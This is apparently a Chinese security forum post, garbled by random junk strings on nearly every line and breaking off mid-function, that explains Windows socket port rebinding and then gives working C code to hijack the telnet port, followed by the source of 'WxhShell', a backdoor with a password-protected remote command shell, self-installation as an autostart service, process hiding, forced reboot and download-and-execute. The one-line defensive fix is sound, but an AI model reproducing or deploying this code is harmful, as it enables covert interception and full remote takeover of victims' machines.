在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?$i`K| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
xpCzx=n3.m +EjH9;gx saddr.sin_family = AF_INET;
=cI -<0QSn !
7A _UA8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)#n0~7
& E/2 kX 3} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
O32p8AxEz 'Vq
<;.A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Dg3Sn|!f RAYDl=} 这意味着什么?意味着可以进行如下的攻击:
f1w&D ]|S+ rOQ@(aUAZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&6<>hqR^ Aq674 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K>iM6Uv :tU&d(8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-9TNU7^ \H|tc#::{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d/5i4g[q l/0"'o_0v# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xO?w8 *d 8oiO:lyLSt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p vone,y2 kx&Xk0F_g 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t`=TonLb8 PDQC^2Z #include
T n.Cj5 #include
C^9G \s' #include
c-3-,pyM_T #include
Ks'msSMC DWORD WINAPI ClientThread(LPVOID lpParam);
reseu*5 int main()
dz@L}b* {
ZGO%lkZ. WORD wVersionRequested;
0?OTa<c DWORD ret;
$I*ye+a*{q WSADATA wsaData;
M"# >?6{ BOOL val;
gZ
vX~ SOCKADDR_IN saddr;
9n4vuBgv SOCKADDR_IN scaddr;
Lt`d
{s int err;
uc;1{[5`1q SOCKET s;
\GhL{Awv&a SOCKET sc;
0'8_:|5 int caddsize;
y"zgpqJ HANDLE mt;
u~SvR~OE DWORD tid;
Hl-!rP.?0 wVersionRequested = MAKEWORD( 2, 2 );
?^I\e{),c err = WSAStartup( wVersionRequested, &wsaData );
#-vuY#gs if ( err != 0 ) {
XgRrJ. printf("error!WSAStartup failed!\n");
Wmri% return -1;
>%Rb}Ki4 }
EGpN@ saddr.sin_family = AF_INET;
/g$cQ=c XG_h\NIL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fLkZ'~e! N
zrHWVD saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
LpRl!\FY$ saddr.sin_port = htons(23);
#9{N[t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NqyKR&; {
[R
V_{F:' printf("error!socket failed!\n");
,36AR|IO) return -1;
Mn$w_Z? }
K+2k}Hx6J val = TRUE;
1,UeVw/ //SO_REUSEADDR选项就是可以实现端口重绑定的
v
C,53g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p5F=?*[} {
iA*^`NMaT printf("error!setsockopt failed!\n");
^na8d's: return -1;
]?KTw8j} }
MR4e.+#E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
}/)vOUcEd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2stBW5v3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
((KNOa5 bm/pLC6%. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
cyYsz'i m {
X S:W{tL! ret=GetLastError();
X}"Ic@8 printf("error!bind failed!\n");
D*7JE return -1;
/mS|Byx }
tYb8a listen(s,2);
>4I,9TO while(1)
Gg'sgn
{
JH3$G,:zM caddsize = sizeof(scaddr);
|5J'`1W //接受连接请求
Vyy;mEBg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
KmF"Ccc if(sc!=INVALID_SOCKET)
,q9nHZG^ {
)9F o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
u7PtGN0r% if(mt==NULL)
4I"%GN[tA {
z"7I5N printf("Thread Creat Failed!\n");
s?-@8.@ break;
] oOSL=~c }
x?10^~R }
%63zQFk CloseHandle(mt);
h"C7l#u }
U&F1}P$fb closesocket(s);
9)c{L<o}T WSACleanup();
j:|um&`) return 0;
d7,ZpHt }
Hlh`d N DWORD WINAPI ClientThread(LPVOID lpParam)
(RXOv"''= {
~7CQw^"R@ SOCKET ss = (SOCKET)lpParam;
V$ 8go#5 SOCKET sc;
P:lmQHls+ unsigned char buf[4096];
&Tc:WD SOCKADDR_IN saddr;
qg7qTF& long num;
=7^rKrD DWORD val;
+\Hh|Uz5 DWORD ret;
a7$]"
T 7 //如果是隐藏端口应用的话,可以在此处加一些判断
ojmF:hR" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'gBGZ?^N!U saddr.sin_family = AF_INET;
[w*t(A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
dUt$kB saddr.sin_port = htons(23);
rC !!X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@=i-*U {
N@qP}/}8 printf("error!socket failed!\n");
<@F.qMl return -1;
bQ%6z}r }
\,n|V3#G val = 100;
T[?wbYfW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Uz4!O {
;`")3~M3* ret = GetLastError();
u& 4i=K'x8 return -1;
)GT*HJR(vc }
g3V
bP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8-JOfq}s {
^l,(~03_ ret = GetLastError();
VL =1 9[ return -1;
j\I{pW- }
=D>,s)}o3; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QD8.C=2R {
Uzi.CYVs% printf("error!socket connect failed!\n");
ol[sX=5 * closesocket(sc);
|2L|Zp& closesocket(ss);
o"kVA;5<G return -1;
96(3ilAt }
g3 6:OK" while(1)
^uWPbW&/q {
%#_"Ie //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
kA .U2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
l1 M
% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c*m7'\ num = recv(ss,buf,4096,0);
mp'Z.4 if(num>0)
LL0Y$pHV send(sc,buf,num,0);
K'6NW:zp~ else if(num==0)
'3i,^g0?t0 break;
]2_b_ok num = recv(sc,buf,4096,0);
^y,Ex;6o if(num>0)
Za110oF send(ss,buf,num,0);
X[SdDYMY else if(num==0)
>P<8E2}* break;
S^8C\ E }
@sr~&YhA closesocket(ss);
^@V;`jsll closesocket(sc);
-$ VP#% return 0 ;
CD!Aa }
[
pe{,lp yv;KKQ mhNX05D ==========================================================
5V $H?MW> Yy 8?X9r. 下边附上一个代码,,WXhSHELL
n%S%a>IQj o){\qhLp ==========================================================
xCQLfXK7 {`ghX%M(l #include "stdafx.h"
YAdk3y~pL /g`!Zn8a #include <stdio.h>
BNw};.lO #include <string.h>
f0|wN\ #include <windows.h>
u\y$< #include <winsock2.h>
GXnrVI #include <winsvc.h>
;],Js1m #include <urlmon.h>
3|0wD:Dy ` ;}w!U #pragma comment (lib, "Ws2_32.lib")
^\f1zg9I #pragma comment (lib, "urlmon.lib")
S{Q2KD 94}y,\S~ #define MAX_USER 100 // 最大客户端连接数
nb~592u #define BUF_SOCK 200 // sock buffer
U [R[VY7 #define KEY_BUFF 255 // 输入 buffer
p9y@5z Bjp4:;Bb #define REBOOT 0 // 重启
W]W[oTJ5 #define SHUTDOWN 1 // 关机
A"}Ib' ?onEqH> #define DEF_PORT 5000 // 监听端口
5$?)f&M RxYC]R^78 #define REG_LEN 16 // 注册表键长度
;Tec)Fl #define SVC_LEN 80 // NT服务名长度
_2a)b(<tF *-';ycOvr // 从dll定义API
KaIkO8Dq0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~( ;HkT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|V&E q>G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-`A+Qp) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8yC/:_ML 8+,I(+
// wxhshell配置信息
47=YP0r?>T struct WSCFG {
6QYHPz int ws_port; // 监听端口
ujf]@L? char ws_passstr[REG_LEN]; // 口令
#z5$_z?_ int ws_autoins; // 安装标记, 1=yes 0=no
6pdek3pOCt char ws_regname[REG_LEN]; // 注册表键名
m##_U9O char ws_svcname[REG_LEN]; // 服务名
u*m|o8 char ws_svcdisp[SVC_LEN]; // 服务显示名
d6XdN char ws_svcdesc[SVC_LEN]; // 服务描述信息
j0~dJ# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)tv~N7 int ws_downexe; // 下载执行标记, 1=yes 0=no
[y&uc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<dKHZ4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-y'tz,En. }3/|;0j$ };
6n:oEXM> %D49A-R // default Wxhshell configuration
Y_FQB K U struct WSCFG wscfg={DEF_PORT,
4g)$(5jI} "xuhuanlingzhe",
!DkIM}. 1,
F|&%Z(@a "Wxhshell",
4d8}g25C "Wxhshell",
+&4@HHU{G "WxhShell Service",
) E*- "Wrsky Windows CmdShell Service",
Kw =RqF "Please Input Your Password: ",
FM"[:&> 1,
RDOV+2K "
http://www.wrsky.com/wxhshell.exe",
oi7Y?hTj "Wxhshell.exe"
8xt8kf*k };
4jw q$G _/NPXDL // 消息定义模块
)tx2lyY: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9hei8L: char *msg_ws_prompt="\n\r? for help\n\r#>";
d-jZ 5nl( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"9#hk3*GqX char *msg_ws_ext="\n\rExit.";
J6mUU3F9f char *msg_ws_end="\n\rQuit.";
:0kKw=p1R char *msg_ws_boot="\n\rReboot...";
()ww9L2 char *msg_ws_poff="\n\rShutdown...";
|,T"_R_K char *msg_ws_down="\n\rSave to ";
4xF}rm w:9M6+mM^ char *msg_ws_err="\n\rErr!";
ge ]Z5E(1 char *msg_ws_ok="\n\rOK!";
tP89gN^PA| KP_7h/e char ExeFile[MAX_PATH];
zHD8\* int nUser = 0;
u`"Y!*[ - HANDLE handles[MAX_USER];
qGi\*sc>x int OsIsNt;
d~KTUgH'< GA"vJFQ SERVICE_STATUS serviceStatus;
bQ-n<Lx SERVICE_STATUS_HANDLE hServiceStatusHandle;
`-g$
0lm7 w19OOD // 函数声明
w>4( hGO int Install(void);
^ f[^.k$3d int Uninstall(void);
/jSb^1\ int DownloadFile(char *sURL, SOCKET wsh);
~m4LL[ int Boot(int flag);
n]8*yoge void HideProc(void);
{S`Rr/E|% int GetOsVer(void);
5`QfysR5 int Wxhshell(SOCKET wsl);
kyf(V)APPu void TalkWithClient(void *cs);
x@*?~1ai int CmdShell(SOCKET sock);
y*E{X int StartFromService(void);
G_}oI|B int StartWxhshell(LPSTR lpCmdLine);
Ckhwd AZ
SaI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,xutI VOID WINAPI NTServiceHandler( DWORD fdwControl );
L7"<a2J C'PHbo: // 数据结构和表定义
ab[V->>% SERVICE_TABLE_ENTRY DispatchTable[] =
s$~H{za {
`)NTJc$): {wscfg.ws_svcname, NTServiceMain},
65GC7 >[ {NULL, NULL}
G+tzp&G@ };
(!a\23 jGYl*EBx // 自我安装
AD>/#Ul int Install(void)
9hgIQl {
s>=$E~qq char svExeFile[MAX_PATH];
f[q_eY HKEY key;
(`<B#D;
strcpy(svExeFile,ExeFile);
orFB*{/Z Z
ZT2c0AK // 如果是win9x系统,修改注册表设为自启动
!iAZEOkRR if(!OsIsNt) {
<9x|)2P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fVYv 2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GuF-HP}xM RegCloseKey(key);
(L!u[e0[# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;L,yJ~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lUiO | RegCloseKey(key);
`FK qVd return 0;
'i;ofJ[.c }
~Fo`Pr_ }
?sxf_0* }
I#xhmsF else {
I.o3Old ltHuN;C\ // 如果是NT以上系统,安装为系统服务
0Qg%48u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;1k_J~Qei if (schSCManager!=0)
!v*#E{r"g= {
Is97>aid SC_HANDLE schService = CreateService
bBQHxH}vi (
9lX[rBZ schSCManager,
9Dyw4'W.N wscfg.ws_svcname,
akQb%Wq wscfg.ws_svcdisp,
V3_qqz}`r SERVICE_ALL_ACCESS,
cGWL'r)P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{X W>3 " SERVICE_AUTO_START,
P.~sNd oJ SERVICE_ERROR_NORMAL,
{h;i x svExeFile,
&A^2hPe} NULL,
V{{UsEVO NULL,
XX*f NULL,
0qBXL;sE NULL,
M+4S >Sjw NULL
mN#&NA );
kEg~yN if (schService!=0)
:0Fwaw9PH" {
R~bLEo CloseServiceHandle(schService);
tOPkx( CloseServiceHandle(schSCManager);
d%Ku'Jy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
obw:@i# strcat(svExeFile,wscfg.ws_svcname);
'IER9%V$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?#__# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#|lVQ@= RegCloseKey(key);
x_EU.924uY return 0;
&0mhO+g }
NmN:x&/ }
3iiOxg?j CloseServiceHandle(schSCManager);
hflDVGBW }
)
|hHbD^V }
Uzk_ae ]o_E]5"jO return 1;
p-/}@r3Z+ }
2aQ}|
` CzT_$v_ // 自我卸载
Vb2")+*: int Uninstall(void)
z<BwV
/fH} {
cH7D@p} HKEY key;
;"%luQA<w J1Y3>40 if(!OsIsNt) {
NO#^_N`#\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GF
Rd:e RegDeleteValue(key,wscfg.ws_regname);
||?wRMV RegCloseKey(key);
OL[_2m*;9p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tWdP5vfp RegDeleteValue(key,wscfg.ws_regname);
QpifO RegCloseKey(key);
2K'}Vm+ return 0;
I3?:KVa }
l1RFn,Tzr }
OZh+x`' # }
,@2d4eg4 else {
< YuI}d~' \y/+H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
JDC,] if (schSCManager!=0)
"(?[$R {
.]Z,O>N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$E@ke: if (schService!=0)
o6
[i0S {
_d<\@Tkw if(DeleteService(schService)!=0) {
#60<$HO:Z CloseServiceHandle(schService);
u"a$/ CloseServiceHandle(schSCManager);
;D<rGkry return 0;
,<-a 6 }
!!t@H\ CloseServiceHandle(schService);
]cI(||x }
o=(>#iVM CloseServiceHandle(schSCManager);
[ \Aor[( }
Z8Clm:S }
gClDVO [h2V9>4: return 1;
@KYmkxW }
-OP5v8c
f YuDNm}r[ // 从指定url下载文件
ts0K"xmY\c int DownloadFile(char *sURL, SOCKET wsh)
RbNRBK!{ {
d_Vwjv&@/" HRESULT hr;
({x<!5XL char seps[]= "/";
w@2LFDp char *token;
b;Im +9& char *file;
v]27+/a$c char myURL[MAX_PATH];
? 5
V-D8k char myFILE[MAX_PATH];
`24:Eg6r N,_ej@L8 strcpy(myURL,sURL);
y/2U:H token=strtok(myURL,seps);
'lNl><e- while(token!=NULL)
7f
td2lv {
X]*W + file=token;
B[MZPv) token=strtok(NULL,seps);
Bj7\{x,? }
>heih%Ar0J z*>CP GetCurrentDirectory(MAX_PATH,myFILE);
cWM|COXL+ strcat(myFILE, "\\");
I@q>ES!1H strcat(myFILE, file);
O"9f^y* send(wsh,myFILE,strlen(myFILE),0);
Z_Ma|V?6 send(wsh,"...",3,0);
+e"}"]n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9Au+mIN if(hr==S_OK)
i]LK,' return 0;
z:R2Wksg else
4%j&]PASa1 return 1;
|qNrj~n@ LGCL*Qbsg }
_?_Svx2 <FK7Rz:4T // 系统电源模块
0+:.9*g=k int Boot(int flag)
@]#+`pZ4A {
x{*!"a> HANDLE hToken;
S8vmXlD TOKEN_PRIVILEGES tkp;
C 127he {nOK*7+" if(OsIsNt) {
T[q-$8U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2i(|? XJ^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qc'tK6=jp tkp.PrivilegeCount = 1;
v981nJ>w, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7RD` *s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
PvT8XSlTx! if(flag==REBOOT) {
D&9j$#9Rh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ef `LBAfOO return 0;
$'FPst8Q< }
:g9z^ $g else {
0XYO2k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
q%:Jmi> return 0;
_@prv7e }
o>`/,-! }
Sc~kO4 else {
sqZHk+<% if(flag==REBOOT) {
A# M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q=1SP@;\6 return 0;
e<^4F%jSK }
kyo ,yD else {
C${TC+z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
r&3fSx9 return 0;
t2Y~MyT/ }
|b3/63Ri-0 }
ycAQPz}=I V!<#E)-?< return 1;
l*:p== }
B=c^ma .RWBn~b#I // win9x进程隐藏模块
tl^[MLQa void HideProc(void)
;W*$<~_ {
E0DEFB #*]=
%-A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`A^} X if ( hKernel != NULL )
TQ2Tt" {
8c|IGC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\4p<;$' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G\NCEE'A FreeLibrary(hKernel);
+Ae.>%} }
anwn!Eqk" 7z,M`14 return;
XbOL/6V ^[ }
Mk9kGP% |}|;OG // 获取操作系统版本
9,c>H6R7 int GetOsVer(void)
kv4J@ {
)nk>*oE OSVERSIONINFO winfo;
6e*b;{d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
/(0d{ GetVersionEx(&winfo);
_/=ZkI5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zXC In return 1;
tj&A@\/ else
nz',Zm}, return 0;
sq^"bLw }
*sG<w%% -/qrEKQ0U? // 客户端句柄模块
KE3v3g< int Wxhshell(SOCKET wsl)
o <'gM]$ {
]/']{*T1 SOCKET wsh;
%%>?<4t struct sockaddr_in client;
ZF/KV\Ag) DWORD myID;
#"M Pe4 *j*
WE\ while(nUser<MAX_USER)
-ur]k]R {
~Iu09t|a int nSize=sizeof(client);
Ja&%J: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
NE4fQi?3 if(wsh==INVALID_SOCKET) return 1;
T7Ac4LA 2yZ6:U~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
o|W? a#_\ if(handles[nUser]==0)
wg1pt1 ` closesocket(wsh);
Y"jDZG? else
aS7zG2R4H nUser++;
!!86Sv }
I{PN6bn{> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;hvXFU ckk [n return 0;
O?WaMfS[1 }
B<RONQj_ :qp"Ao{M // 关闭 socket
Uk2q,2 void CloseIt(SOCKET wsh)
%E\%nTV {
XL3h ;$, closesocket(wsh);
z&0V21"l nUser--;
QBy*y $ ExitThread(0);
D=>^m=?0 }
eQx"nl3U% #c>MUC(?s: // 客户端请求句柄
$(R)
=4 void TalkWithClient(void *cs)
!q/lgpEi {
YM|S< J4g;~#_19 SOCKET wsh=(SOCKET)cs;
9F](%/ char pwd[SVC_LEN];
`[&2K@u char cmd[KEY_BUFF];
o4;Nb|kk9+ char chr[1];
dE]"^O#Mc int i,j;
0mh8. FudD while (nUser < MAX_USER) {
%}!}2s.A Snu;5:R if(wscfg.ws_passstr) {
1znV>PO! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2>k)=hl: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R6XMBYK^ //ZeroMemory(pwd,KEY_BUFF);
y^\#bpq&\ i=0;
@RIEO%S while(i<SVC_LEN) {
c1J)yv1y h$k3MhYDes // 设置超时
=.hDf<U fd_set FdRead;
He!!oKK> struct timeval TimeOut;
{UBQ?7.jE FD_ZERO(&FdRead);
)^Pvm FD_SET(wsh,&FdRead);
}YP7x| TimeOut.tv_sec=8;
L"I] mQvd TimeOut.tv_usec=0;
7yTe]O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Xh"iP % if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ZD%_PgiT q'U5QyuC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
mN
6`8
[ pwd
=chr[0]; it@} dZ
if(chr[0]==0xd || chr[0]==0xa) { &R*5;/
!
pwd=0; b,R'T+4[
break; Z3>xpw G
} _vV&4>
i++; vqOLSE"t*O
} M%s$F@
pHB35=p28
// 如果是非法用户,关闭 socket y9li<u<PF
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xb-c`k~_
} o}+Uy
78CJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sC_UalOC_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2Lo{v=0[
V55J[s*6!
while(1) { =awO63j>
q)ql]iH
ZeroMemory(cmd,KEY_BUFF); y!N)@y4
aijGz<
// 自动支持客户端 telnet标准 m%c0#=D
j=0; F}(QKO*
while(j<KEY_BUFF) { aiZo{j<6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0"psKf'
cmd[j]=chr[0]; @1?]$?u&
if(chr[0]==0xa || chr[0]==0xd) { [Cqqjv;_
cmd[j]=0; uQ]]]Z(H'
break; OsL%SKs|
} Vnj/>e3
j++; `uZv9I"
} BDkBYhz;7
}K80G~O2<
// 下载文件 ^Lmc%y
if(strstr(cmd,"http://")) { Z/kaRnG[@t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p_qm}zp
if(DownloadFile(cmd,wsh)) 2{B(j&{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]p&< nK,
else |8c:+8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); prEu9$:t
} rk,1am:cg
else { g~c|~u(W
uy _i{Y|
switch(cmd[0]) { VNrO(j DUv
rgdQR^!l6
// 帮助 cYM~IA
case '?': { U+PCvl=x
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #C1A5JE&
break; ,r 2VP\hLh
} k5t^s
// 安装 )s<WG}
case 'i': { #} ~p^ 0
if(Install()) ).}k6v[4)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,0uo&/Y4L
else RmWfV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A!W"*WT
break; \q|7,S,5
} "bR'Bt
// 卸载 |\%F(d330
case 'r': { n!ZP?]FR
if(Uninstall()) uOl(-Zq@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@9Z&2)
else x , Vh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7<1fKrN?GF
break; Km9}^*Mo%
} |3,yq^2
// 显示 wxhshell 所在路径 K@jSr*\'
case 'p': { w,![;wG
char svExeFile[MAX_PATH]; ?D(FNd
strcpy(svExeFile,"\n\r"); JC&6q>$
strcat(svExeFile,ExeFile); )y`TymM[F
send(wsh,svExeFile,strlen(svExeFile),0); oB0 8
break; ] `B,L*m6
} r'd:SaU+
// 重启 <,@H;|mZ
case 'b': { &*aer5?`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y
Tw',N{
if(Boot(REBOOT)) 7.$]f71z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1]>$5 1Q
else { eyf4M;goz}
closesocket(wsh); 'Gl;Ir^
ExitThread(0); 0Q$~k
} :_^0'ULP
break; cK|rrwa0
} b~/Wnp5
// 关机 AJ\VY;m7F
case 'd': { D(qHf9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J&63Z
if(Boot(SHUTDOWN)) }2Cd1RnS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[PEn
else { q8?=*1g
closesocket(wsh); gHvW
e
ExitThread(0); #juGD9e
} x/%7%_+'
break; #.)xm(Ys
} ]{|fYt_-
// 获取shell Mu'^OX82
case 's': { +MNSZLP]
CmdShell(wsh); tg7C;rJ
closesocket(wsh); {5QosC+o6Q
ExitThread(0); U~{Sa+
break; gb=80s0
} N
b3I%r
// 退出 ~>#LOT `
case 'x': { O1?B{F/ e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5;FP.{+
CloseIt(wsh); FgOUe
break; px w{
} :3a&Pb*PL
// 离开 J4gI=@e
case 'q': { n2n00%Wu[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #D`S
closesocket(wsh); S)"##-~`T
WSACleanup(); ;Ze"<U
exit(1); 5jn$7iE`
break; ?CH?kP
} j`2B}@ 2
} MV0<^/p|
} 4ef*9|^x#
_YH<YOrMh
// 提示信息 #0P!xZ'|{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2f3=?YqD
} v78&[
} +"YTCzv;t
8?e
return; $zC6(C(l
} cs K>iN
UvPp~N7,
// shell模块句柄 gf0PMc3l
int CmdShell(SOCKET sock) +jq
2pFQ
{ :v#k&Uh3y
STARTUPINFO si; <K.Bq]
ZeroMemory(&si,sizeof(si)); I:F'S#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iD%qy /I/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cy1\u2x_`
PROCESS_INFORMATION ProcessInfo; MxY50^}(
char cmdline[]="cmd"; tCZpfZ@+=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D3%l4.h
return 0; T@(6hEmP,
} PSW#^o
;c>>$lr
// 自身启动模式 6RH/V:YY
int StartFromService(void) 4JGE2ArR
{ xJvLuzUD
typedef struct HG3.~ 6X
{ HR[Q
?rg
DWORD ExitStatus; 'Z\{D*=V8
DWORD PebBaseAddress; .r ~'(g{qt
DWORD AffinityMask; TT|-aS0l(u
DWORD BasePriority; }l.KpdRT2
